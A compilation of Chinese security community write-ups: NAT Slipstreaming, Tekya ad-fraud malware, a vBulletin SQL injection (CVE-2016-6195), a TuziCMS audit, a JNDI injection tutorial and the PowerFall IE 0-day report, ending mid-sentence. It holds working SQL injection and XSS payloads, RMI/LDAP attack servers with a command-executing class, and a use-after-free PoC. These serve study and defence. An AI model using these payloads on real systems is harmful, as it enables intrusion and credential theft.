在chrome上可以使用WebRTC来提取IP地址，并且这个过程中必须使用HTTPS，而后续攻击步骤必须使用HTTP，所以我们首先将流量重定向到HTTPS，获取IP地址之后在重定向到HTTP进行后续步骤。
如果使用Safari，IE=11，不支持WebRTC的情况，可以使用timing
attack攻击来获取内部ip地址。简单来说，就是在页面上附上<img>标签,对应的是不同的网关192.168.*.1等，同时带有onsuccess、onerror的javascript事件，根据onsuccess、onerror触发与否与出发时间长短，判断是否存在对应网关。得到网关地址之后可以同理探测子网内victim地址。
然后所有的利用条件都已达到，我们已经能够成功使得NAT/防火墙解析SIP报文，victim的端口可以在不知情的情况被攻击者打开。
## 实验测试
实验测试首先需要搭建环境，我只有一台PC，所以开两台虚拟机，一台虚拟机是ubuntu
16.04模拟内网主机，另一台虚拟机是pfsense防火墙，ubuntu
16.04用仅主机模式网卡，pfsense有两张网卡对应LAN口、WAN口，LAN口网卡为仅主机模式，WAN口网卡为NAT桥接，这样pfsense的LAN口和ubuntu网卡在同一网段，模拟内网环境，同时设置ubuntu
16.04网关为pfsnese LAN口地址，pfsense
WAN口模拟外网接口，然后利用在线poc测试网站[http://samy.pl/slipstream/server进行测试。拓扑图如下。](http://samy.pl/slipstream/server%E8%BF%9B%E8%A1%8C%E6%B5%8B%E8%AF%95%E3%80%82%E6%8B%93%E6%89%91%E5%9B%BE%E5%A6%82%E4%B8%8B%E3%80%82)
当我们在ubuntu16.04的firefox中访问恶意浏览器时，在pfsense的流量监控界面可以观察到有大量内网ip出现，对应的是针对内网网关、内网节点的ip地址的探测。
下图是用wireshark抓包，可以看到在探测内网网关地址。
下图是探测到内网网关地址192.168.19.x/24、192.168.174.x/24后开始对D段进行探测，对应的2778条为实际存在的ip地址，所以回送ack报文。
前端界面如下所示，在你不知情的情况下探测到你的内网信息，下图所示是首先尝试通过webrtc攻击获取ip地址，但是没有奏效转而进行timing
attack攻击(利用js的onsuccess/onerror事件)进行ip地址探测。
再贴一张利用webrtc攻击获取ip地址的前端效果图，webrtc攻击比起timing atk攻击速度快、准确率高。
最终一步应该是在外网直接打开内网端口，同时在内网监听端口也可以看到对应显示，在线poc也给了这个功能，但是按钮无法点击，有兴趣的人可以自行探索，也可以观看此研究员的演示视频。
## 总结
最后以两张图做个总结吧
## reference
<https://samy.pl/slipstream/>
<https://www.6cloudtech.com/portal/article/index/id/349/cid/3.html>
<https://blog.51cto.com/fxn2025/2447266> | 社区文章 |
# 儿童游戏软件中隐藏着Tekya木马风险预警
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**概述：**
广告软件通常通过弹出式窗口、横幅广告、内文链接等广告方式来呈献广告内容，主要是为了提高相关网站、产品知名度。这能为软件开发商带来一定的广告收入。而广告木马软件则通常通过单击链接和其他交互式元素来模拟网页上的用户操作，实现无声地模拟与广告网站的交互如点击广告提高网站访问率或自动订阅付费服务，从而增加广告带来的收入。
继2020年2月，Clicker木马新家族-Haken木马通过在GooglePlay分发8种不同的恶意应用来感染用户设备。最近暗影安全实验室在GooglePlay上发现了一个新木马家族—Tekya木马。该木马是一款模拟用户点击来自GoogleAdMob，Facebook等机构的广告进行移动广告欺诈的木马软件。它通过混淆原生代码来躲避Google的检测机制使其能成功的通过GooglePlay平台分发。并利用Android中的“MotionEvent”机制模仿用户的点击行为。
## 1.样本信息
**MD5：** 2D3B6BDBBDF0AD12E935B97D565B891A
**包名：** com.pantanal.stickman.warrior
**应用名：** StickmanFighter
**图标：**
## 2.技术分析
该程序在安装时会在receiver注册多条广播，比如开机自运行，读取网络状态，手机屏幕关闭后台仍然运行，这样使该广播很容易被触发。
**图2-1 注册Receiver广播**
接收到开机以及运行广播后，利用反射机制来调用apk文件中的libego.so文件
图2-2加载libego库文件反射调用本地方法
之后在ego库中创建validators对象列表，可以看到该对象列表中存在了许多混淆的对象
**图2-3创建validators对象列表**
在这些validators对象中，每个调用的方法会从本地的libego.so中运行对应的函数，函数会调用C函数，运行到Y函数，最后调用xxcrl函数。
**图2-4xxcrl函数调用**
我们可以在本地的libego.so中找到对应的函数，该函数大多经过了混淆。
**图2-5libego.so对应的函数**
我们在文件中的java_uk_nema_Ego_xxcrl函数中可以看到该函数负责多个动作，其中fflwejp方法负责分析配置文件，getWindow和getDecorView负责获取所需要的handle。
**图2-6xxcrl函数中的方法作用**
接下来在子函数sub_AAF0处理对应的touch事件来进行模拟点击。
****
****
**图2-7进行模拟点击事件**
## 3.服务器后台
接下来我们对Tekya木马家族进行真机模拟抓包测试，通过实际运行我们可以看到此类软件在后台运行多种广告并进行对应的服务器访问。
**图2-8多次访问广告**
## 4.情报扩展
我们在GooglePlay上共获取到29个该木马家族应用，下载量超过100万次，其中大部分软件是针对儿童的游戏软件，模拟点击的广告也多为游戏类广告。
**部分样本信息：**
****
## 5.安全建议
1. 如果用户已经感染此类木马病毒，建议用户及时卸载此类应用。
2. 及时更新系统并下载安全软件，养成良好习惯。
3. 关注暗影实验室的微信公众号，我们会及时发布木马病毒的最新动态。 | 社区文章 |
Author: **janes(知道创宇404安全实验室)**
Date: 2016-11-15
## 漏洞概述
### 漏洞简介
vBulletin 是一个商业论坛程序，使用PHP语言编写，有研究者发现VBulletin核心插件`forumrunner`存在SQL注入漏洞：
[CVE-2016-6195](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6195).
插件`forumrunner`默认开启， 利用该漏洞，攻击者能够利用SQL注入漏洞脱库。
### 漏洞影响
攻击者能够利用SQL注入漏洞脱库
### 影响版本
3.6.x ～ 4.2.1
4.2.2 ～ 4.2.2 Patch Level 5
4.2.3 ～ 4.2.3 Patch Level 1
## 漏洞分析
> 分析所用版本`4.2.1`
漏洞的本质是`forumrunner/includes/moderation.php`文件中，
`do_get_spam_data()`函数()对参数`postids`和`threadid`过滤不严导致SQL注入漏洞， 核心代码如下：
function do_get_spam_data (){
global $vbulletin, $db, $vbphrase;
$vbulletin->input->clean_array_gpc('r', array(
'threadid' => TYPE_STRING,
'postids' => TYPE_STRING,
));
...
}else if ($vbulletin->GPC['postids'] != '') {
$postids = $vbulletin->GPC['postids'];
$posts = $db->query_read_slave("
SELECT post.postid, post.threadid, post.visible, post.title, post.userid,
thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid
FROM " . TABLE_PREFIX . "post AS post
LEFT JOIN " . TABLE_PREFIX . "thread AS thread USING (threadid)
WHERE postid IN ($postids)
");
VBulletin程序中并不直接使用`$_GET`等全局变量获取输入数据，而是使用`clean_gpc()` 和 `clean_array_gpc()`
函数来过滤输入数据，而这两个函数并未对`STRING`类型做严格过滤，而传入的参数`postids`是作为`SRING`类型解析，参数`postids`随后拼接在`SQL`语句中进行查询，导致SQL注入漏洞。
寻找调用或包含`do_get_spam_data()`函数的代码，发现`forumrunner/support/common_methods.php`
'get_spam_data' => array(
'include' => 'moderation.php',
'function' => 'do_get_spam_data',
),
继续回溯，发现`forumrunner/request.php`文件包含`support/common_methods.php`.
...
$processed = process_input(array('cmd' => STRING, 'frv' => STRING, 'frp' => STRING));
if (!$processed['cmd']) {
return;
}
...
require_once(MCWD . '/support/common_methods.php');
...
if (!isset($methods[$processed['cmd']])) {
json_error(ERR_NO_PERMISSION);
}
if ($methods[$processed['cmd']]['include']) {
require_once(MCWD . '/include/' . $methods[$processed['cmd']]['include']);
}
if (isset($_REQUEST['d'])) {
error_reporting(E_ALL);
}
$out = call_user_func($methods[$processed['cmd']]['function']);
...
上面代码中`process_input()`函数(forumrunner/support/utils.php),
会从`$_REQUEST`中取值，进行简单的类型转换，`STRING`类型则原样返回，根据上面代码，可以通过`$_REQUEST['cmd']`参数调用`get_spam_data()`函数，
进而调用`do_get_spam_data()`函数。设置`$_REQUEST['d']`参数将打开错误报告，有助于SQL注入，当然也可以不设置`$_REQUEST['d']`参数，这对触发SQL注入漏洞没有影响。剩下的就是使用`postids`参数构造SQL
payload
### `postids`参数注入
payload: `forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union
select 1,2,3,(select concat(username, 0x3a, password) from
user),5,1,7,8,9,10--+`
设置断点及变量取值,注入结果如下：
从图中可以看出SQL注入语句执行成功，`$post['title']`变量已经获取了用户名和密码，其中`forumid`设置为`1`,
保证下面代码不会进入`if`条件判断语句中。
while ($post = $db->fetch_array($posts))
{
$forumperms = fetch_permissions($post['forumid']);
if (
!($forumperms & $vbulletin->bf_ugp_forumpermissions['canview'])
OR
!($forumperms & $vbulletin->bf_ugp_forumpermissions['canviewthreads'])
OR
(!($forumperms & $vbulletin->bf_ugp_forumpermissions['canviewothers']) AND $post['postuserid'] != $vbulletin->userinfo['userid'])
)
{
json_error(ERR_NO_PERMISSION);
}
## 补丁分析
`includes/general_vb.php`文件, `fr_clean_ids`函数对`id`类变量进行了整数转换，从而阻止SQL注入攻击。
function fr_clean_ids($list = ”)
{
$arr = explode(‘,’,$list);
$cleanarr = array_map(‘intval’,$arr);
return implode(‘,’,$cleanarr);
}
`forumrunner/include/moderation.php`文件,
`do_get_spam_data`函数过滤`$postids`和`$threadid` 参数
$vbulletin->GPC[‘postids’] = fr_clean_ids($vbulletin->GPC[‘postids’]);
...
if ($vbulletin->GPC[‘threadid’] != ”) {
$threadids = $vbulletin->GPC[‘threadid’];
$threadids = fr_clean_ids($threadids);
...
## 修复方案
1. 直接更新补丁 <http://members.vbulletin.com/patches.php>
2. 更新VBulletin程序版本(>4.2.3)
## reference
<https://www.seebug.org/vuldb/ssvid-92354>
<https://enumerated.wordpress.com/2016/07/11/1/>
<http://blog.securelayer7.net/vbulletin-sql-injection-exploit-cve-2016-6195/>
* * * | 社区文章 |
**前言**
感觉自己还是对php审计有点不懂，遂找了个cms复现了一下几个类型的洞，本人小白一个，大佬请绕道嘻嘻。
**正文**
小插曲：首先源码拉下来本地搭建的时候死活不行，后来看了index发现，原来判断了install下是否存在install.lock防止重装，而源码拉下来的时候就已经存在install.lock了。
有些是参考的，有的没有查到相关的只能自己硬着头皮找了。
**第一处：sqli**
进后台随便点点，看下这请求，
GET /tuzicms-master/index.php/Manage/Download/index/id/11 HTTP/1.1
这路由各位师傅们应该都懂了。
在App/Manage/Controller/AdvertController.class.php中
id直接进行了拼接，验证：
数据库用户信息：
后面发现很多controller中都是用id=$id写的，便全局搜索：
发现有20多个，去相关漏洞信息库上搜索了一下，发现也确实有这么多的提交。
**第二处getshell**
在cnvd上发现：
然后全局搜索:
_fe
发现是一个设置分页配置信息的：
public function do_fenye() {
//**判断是否有限权，显示登录管理员信息
$id=$_SESSION['id'];
//dump($id);
//exit;
$m=D('Admin');
$arr=$m->find($id);
$arr=$arr['admin_type'];
//dump($arr);
//exit;
if ($arr==1){// 如果不是超级管理员限权
$this->error('你不是超级管理员，没有限权！');
}
//exit;
//定义配置文件的路径
$setfile=CONF_PATH."config_fenye.php";
// dump($setfile);
// exit;
//文章模型分页参数
$arr=C('PAGE_ARTICLE__HOME');
$cache_index=array(
'PAGE_ARTICLE__HOME' => $arr,
);
$cache_index_post=array(
'PAGE_ARTICLE__HOME' => I('post.PAGE_ARTICLE__HOME'),
);
//合并数组
$cache_index_ok=array_merge($cache_index,$cache_index_post);
//产品模型分页参数
$arr=C('PAGE_PRODUCT__HOME');
$cache_group=array(
'PAGE_PRODUCT__HOME' => $arr,
);
$cache_group_post=array(
'PAGE_PRODUCT__HOME' => I('post.PAGE_PRODUCT__HOME'),
);
//合并数组
$cache_group_ok=array_merge($cache_group,$cache_group_post);
//图片模型分页参数
$arr=C('PAGE_PHOTO__HOME');
$cache_detail=array(
'PAGE_PHOTO__HOME' => $arr,
);
$cache_detail_post=array(
'PAGE_PHOTO__HOME' => I('post.PAGE_PHOTO__HOME'),
);
//合并数组
$cache_detail_ok=array_merge($cache_detail,$cache_detail_post);
//下载模型分页参数
$arr=C('PAGE_DOWNLOAD__HOME');
$download_detail=array(
'PAGE_DOWNLOAD__HOME' => $arr,
);
$download_detail_post=array(
'PAGE_DOWNLOAD__HOME' => I('post.PAGE_DOWNLOAD__HOME'),
);
//合并数组
$download_detail_ok=array_merge($download_detail,$download_detail_post);
//将配置文件的结构列出来，然后把要修改的参数用变量代替，执行覆盖操作即可。
$settingstr="<?php \n return array(\n";
foreach($c as $key=>$v){
$settingstr.= "\t'".$key."'=>".$v.",\n";
}
foreach($cache_index_ok as $key=>$v){
$settingstr.= "\n\t'".$key."'=>'".$v."',\n";
}
foreach($cache_group_ok as $key=>$v){
$settingstr.= "\n\t'".$key."'=>'".$v."',\n";
}
foreach($cache_detail_ok as $key=>$v){
$settingstr.= "\n\t'".$key."'=>'".$v."',\n";
}
foreach($download_detail_ok as $key=>$v){
$settingstr.= "\n\t'".$key."'=>'".$v."',\n";
}
$settingstr.="\n);\n?>\n";
// dump($settingstr);
// exit;
if (file_put_contents($setfile,$settingstr)){//通过file_put_contents保存setting.config.php文件
$this->success('修改成功');
}else {
$this->error('修改失败,请修改要更改文件的权限！');
}
}
可以看到后面存在了很多拼接，通过$setfile=CONF_PATH."config_fenye.php";发现配置文件为
看第一个配置：
实际上就是post一个 PAGE_ARTICLE__HOME，
通过C()获取的$arr被array_merge覆盖了
再看I():
获取传递的变量，其中有个$filter，没有指定一般是默认，
搜索一下：
这两个htmlspecialchars,strip_tags对'的效果：
因此可以闭合来写shell:
**第三处任意文件删除**
后台delSqlFiles():
直接拼接，没什么好说的
**第四处前台反射xss**
payload:
GET index.php/article/group/id/2/" onmouseover=alert(/xss/) /
一般这种大概流程就是输入-数据库-返回-调用模板-解析-返回前台（理解比较浅显），然后调试跟踪到返回url赋值的地方：
前面是__APP__拼接，值已经是：
再往回走发现，__APP__在这里定义：
那往回看PHP_FILE
if(!defined('__APP__')){
$urlMode = C('URL_MODEL');
if($urlMode == URL_COMPAT ){// 兼容模式判断
define('PHP_FILE',_PHP_FILE_.'?'.$varPath.'=');
}elseif($urlMode == URL_REWRITE ) {
$url = dirname(_PHP_FILE_);
if($url == '/' || $url == '\\')
$url = '';
define('PHP_FILE',$url);
}else {
define('PHP_FILE',_PHP_FILE_);
}
又是通过_PHP_FILE_定义
再往回走，
发现直接通过$_SERVER['SCRIPT_NAME']来定义
而一开始
SCRIPT_NAME的就已经包含payload了，百度搜索了一波，发现
[$_SERVER[SCRIPT_NAME]变量可值注入恶意代码](https://www.freebuf.com/articles/web/166263.html
"$_SERVER\[SCRIPT_NAME\]变量可值注入恶意代码")
这个xss大概分析了一下，感谢，又学到了。
**参考**
<https://github.com/yeyinshi/tuzicms/issues/>
<https://www.cnvd.org.cn/flaw/show/CNVD-2020-45406>
<https://www.freebuf.com/articles/web/166263.html> | 社区文章 |
## 一、前言
本篇文章作为 JNDI 注入学习的第一篇，主要了解其基本的原理及其利用，方便后续针对 JNDI 注入的学习，篇幅不长。
## 二、JNDI 简介
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API，一种标准的 Java 命名系统接口。JNDI
提供统一的客户端 API，通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现，由管理者将 JNDI API 映射为特定的命名服务和目录系统，使得
Java 应用程序可以和这些命名服务和目录服务之间进行交互。
上面较官方说法，通俗的说就是若程序定义了 JDNI 中的接口，则就可以通过该接口 API 访问系统的 `命令服务`和`目录服务`,如下图。
本篇文章主要探究 LADP、RMI、DNS 协议。
协议 | 作用
---|---
LDAP | 轻量级目录访问协议，约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI | JAVA 远程方法协议，该协议用于远程调用应用程序编程接口，使客户机上运行的程序可以调用远程服务器上的对象
DNS | 域名服务
CORBA | 公共对象请求代理体系结构
## 三、JNDI注入
JNDI 注入，即当开发者在定义 `JNDI` 接口初始化时，`lookup()` 方法的参数可控，攻击者就可以将恶意的 `url`
传入参数远程加载恶意载荷，造成注入攻击。
**代码示例：**
代码中定义了 `uri` 变量，`uri` 变量可控，并定义了一个 `rmi` 协议服务， `rmi://127.0.0.1:1099/Exploit`
为攻击者控制的链接，最后使用 `lookup()` 函数进行远程获取 `Exploit` 类（Exploit 类名为攻击者定义，不唯一），并执行它
package com.rmi.demo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 变量
InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用
initialContext.lookup(uri); // 获取指定的远程对象
}
}
具体攻击流程图
JNDI 注入对 JAVA 版本有相应的限制，具体可利用版本如下：
协议 | JDK6 | JDK7 | JDK8 | JDK11
---|---|---|---|---
LADP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下
RMI | 6u132以下 | 7u122以下 | 8u113以下 | 无
## 四、JNDI 注入复现
### JNDI+RMI
#### 环境搭建
使用 IDEA 进行复现，这边使用的 JDK 版本为 Linux 版本的 [JDK
7u79](https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html#license-lightbox) ， [Windows
版本下载](https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html#license-lightbox)
1、首先 IDEA 新建一个项目
File-》New-》Project-》Maven-》Project SDK（选择 JDK 版本）-》Next-》填写项目名称-》Finish
2、在 `/src/java` 目录下创建一个包，包名自定义，我这边为 `jndi_rmi_injection`
3、在创建的包下新建 `rmi` 服务端和客户端
服务端（RMIService.java）代码
package jndi_rmi_injection;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}
}
客户端（RMIClient.java）代码，客户端也是受害端
package jndi_rmi_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws NamingException{
String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
HTTP 端恶意载荷（Calculator.java）代码
笔者使用的是 ubuntu 的环境，执行弹出计算器的命令为 `gnome-calculator`,若为Windwos 修改为 `calc` 即可
public class Calculator {
public Calculator() throws Exception {
Runtime.getRuntime().exec("gnome-calculator");
}
}
#### 启动服务
1、将 HTTP 端恶意载荷 Calculator.java，编译成 Calculator.class 文件
javac Calculator.java
2、在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java
的 Reference 里面的链接端口一致
python3 -m http.server 8081
3、IDEA 将漏洞环境启动起来并实现攻击，顺序为先运行服务端，再起客户端
服务端
再点击运行客户端，远程获取恶意类，并执行恶意类代码，实现弹窗
### JNDI+LDAP
#### 环境搭建
环境使用上面的即可，但要先本地导入依赖，`maven` 无法拉取 `unboundid` 这个依赖，这一步卡了一段时间，坑点之一
1、点击下载 [unboundid-ldapsdk-3.2.0.jar](https://repo.maven.apache.org/maven2/com/unboundid/unboundid-ldapsdk/3.2.0/unboundid-ldapsdk-3.2.0.jar)，导入依赖即可，本环境在跟目录下创建了 `/lib`
目录用于放置本地依赖
2、LDAPServer.java 服务端代码
package jndi_ldap_injection;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8081/#Calculator";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
3、客户端（LDAPClient.java）代码， 也是受害端
package jndi_ldap_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
public static void main(String[] args) throws NamingException{
String url = "ldap://127.0.0.1:1234/Calculator";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
4、HTTP 端恶意载荷（Calculator.java）代码
public class Calculator {
public Calculator() throws Exception {
Runtime.getRuntime().exec("gnome-calculator");
}
}
#### 启动服务
1、将 HTTP 端恶意载荷 Calculator.java，编译成 Calculator.class 文件
2、在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与
LDAPServer.java 的 Reference 里面的链接端口一致
python3 -m http.server 8081
3、IDEA 将漏洞环境启动起来并实现弹窗，顺序为先其服务端，再起客户端
服务端
再点击运行客户端，实现弹窗
### DNS协议
通过上面我们可知 `JNDI` 注入可以利用 `RMI` 协议和`LDAP` 协议搭建服务然后执行命令，但有个不好的点就是会暴露自己的服务器 `IP`
。在没有确定存在漏洞前，直接在直接服务器上使用 `RMI` 或者 `LDAP` 去执行命令，通过日志可分析得到攻击者的服务器
`IP`，这样在没有获取成果的前提下还暴露了自己的服务器 `IP`，得不偿失。 我们可以使用`DNS` 协议进行探测，通过 `DNS`
协议去探测是否真的存在漏洞，再去利用 `RMI` 或者 `LDAP` 去执行命令，避免过早暴露服务器 `IP`，这也是平常大多数人习惯使用 `DNSLog`
探测的原因之一，同样的 `ldap` 和 `rmi` 也可以使用 `DNSLog` 平台去探测。
#### 环境搭建
使用上面任一环境即可，只需要客户端，不需要服务器去起其它协议服务。
漏洞端代码
package jndi_ldap_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
public static void main(String[] args) throws NamingException{
String url = "dns://192rzl.dnslog.cn";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
#### 启动服务
填入 `DNSLog` 平台域名，或自己搭建的平台域名，执行程序
`DNSLog` 平台返回记录，证明漏洞存在
## 五、扩展
### InitialContext类
由 `JNDI+RMI` 漏洞代码进行分析
package jndi_rmi_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws NamingException{
String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
`InitialContext` 类用于读取 JNDI 的一些配置信息，内含对象和其在 JNDI 中的注册名称的映射信息
InitialContext initialContext = new InitialContext(); // 初始化上下文,获取初始目录环境的一个引用
`lookup(String name)` 获取 name 的数据，这里的 uri 被定义为 `rmi://127.0.0.1:7778/RCE`
所以会通过 `rmi` 协议访问 `127.0.0.1:7778/RCE`
String uri = "rmi://127.0.0.1:7778/RCE";
initialContext.lookup(uri); //利用lookup() 函数获取指定的远程对象
由于 `lookup()` 参数可控，导致漏洞的出现，跟进代码如下
### Reference 类
Reference 是一个抽象类，每个 Reference 都有一个指向的对象，对象指定类会被加载并实例化。
由 `JNDI+RMI` 服务端攻击代码
package jndi_rmi_injection;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}
}
reference 指定了一个 Calculator 类，于远程的 `http://127.0.0.1:8081/`
服务端上，等待客户端的调用并实例化执行。
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
## 六、总结
经过上面的分析，归纳总结为由于 `lookup()` 的参数可控，攻击者在远程服务器上构造恶意的 `Reference` 类绑定在 `RMIServer`
的 `Registry` 里面，然后客户端调用 `lookup()` 函数里面的对象，远程类获取到 `Reference` 对象，客户端接收
`Reference` 对象后，寻找 `Reference` 中指定的类，若查找不到，则会在 `Reference`
中指定的远程地址去进行请求，请求到远程的类后会在本地进行执行，从而达到 `JNDI` 注入攻击。
## 七、参考文章
https://www.javasec.org/javase/JNDI/
https://docs.oracle.com/javase/tutorial/jndi/overview/
https://xz.aliyun.com/t/6633
https://www.cnblogs.com/nice0e3/p/13958047.html
https://blog.csdn.net/qq_38626043/article/details/129256939 | 社区文章 |
# PowerFall恶意活动：IE和Windows的两个0-day漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 Boris Larin，文章来源：Security List
原文地址：<https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 概述
2020年5月，卡巴斯基成功防御了Internet
Explorer恶意脚本对某家韩国企业的攻击。经过进一步分析发现，该工具使用了以前未知的完整利用链，其中包括两个0-day漏洞：Internet
Explorer远程代码执行漏洞、Windows特权提升漏洞。与我们以前在WizardOpium恶意活动中发现的攻击链不同，新的攻击链可以针对Windows
10的最新版本发动攻击。经过测试表明，该漏洞可以可靠地在Internet Explorer 11和Windows 10 x64的18363版本上利用。
2020年6月8日，我们向Microsoft报告了我们的发现，并且Microsoft已确认漏洞。在我们撰写报告时，Microsoft的安全团队已经针对CVE-2020-0986漏洞发布了补丁，修复这一特权提升0-day漏洞。但是，在我们发现该漏洞之前，这一漏洞的可利用性被评估为“不太可能”。CVE-2020-0986的修复程序在2020年6月9日发布。
Microsoft为JScript的Use-After-Free漏洞分配了CVE-2020-1380编号，该漏洞的补丁于2020年8月11日发布。
我们将这一系列攻击称为PowerFall恶意活动。目前，我们暂时不能将恶意活动与任何已知的威胁行为者建立明确联系，但根据它与以前发现漏洞的相似性，我们认为DarkHotel可能是此次攻击的幕后黑手。卡巴斯基产品目前将PowerFall攻击检测为“PDM:Exploit.Win32.Generic”。
## 0x01 Internet Explorer 11远程代码执行漏洞
在野外发现的Internet
Explorer最新0-day攻击利用了旧版本JavaScript引擎`jscript.dll`中的漏洞CVE-2020-0674、CVE-2019-1429、CVE-2019-0676和CVE-2018-8653。其中，CVE-2020-1380是jscript9.dll中的一个漏洞，该漏洞自Internet
Explorer 9开始存在，因此Microsoft建议的缓解步骤（限制`jscript.dll`的使用）无法针对这个特定漏洞实现防护。
CVE-2020-1380是一个释放后使用（Use-After-Free）漏洞，由于JIT优化过程中，JIT编译的代码中缺少必要的检查导致。下面展示了触发漏洞的PoC：
function func(O, A, F, O2) {
arguments.push = Array.prototype.push;
O = 1;
arguments.length = 0;
arguments.push(O2);
if (F == 1) {
O = 2;
}
// execute abp.valueOf() and write by dangling pointer
A[5] = O;
};
// prepare objects
var an = new ArrayBuffer(0x8c);
var fa = new Float32Array(an);
// compile func
func(1, fa, 1, {});
for (var i = 0; i < 0x10000; i++) {
func(1, fa, 1, 1);
}
var abp = {};
abp.valueOf = function() {
// free
worker = new Worker('worker.js');
worker.postMessage(an, [an]);
worker.terminate();
worker = null;
// sleep
var start = Date.now();
while (Date.now() - start < 200) {}
// TODO: reclaim freed memory
return 0
};
try {
func(1, fa, 0, abp);
} catch (e) {
reload()
}
要理解这一漏洞，我们首先看一下`func()`的执行方式。这里，重要的是了解将什么值设置为A[5]。根据代码，与之相关的应该是一个参数`O`。在函数开始时，会将参数`O`重新分配为1，但随后将函数参数长度设置为0。这个操作不会清除函数参数（通常，常规数组会这样做），但允许将参数`O2`放在索引为0的参数列表1中，这意味着`O
=
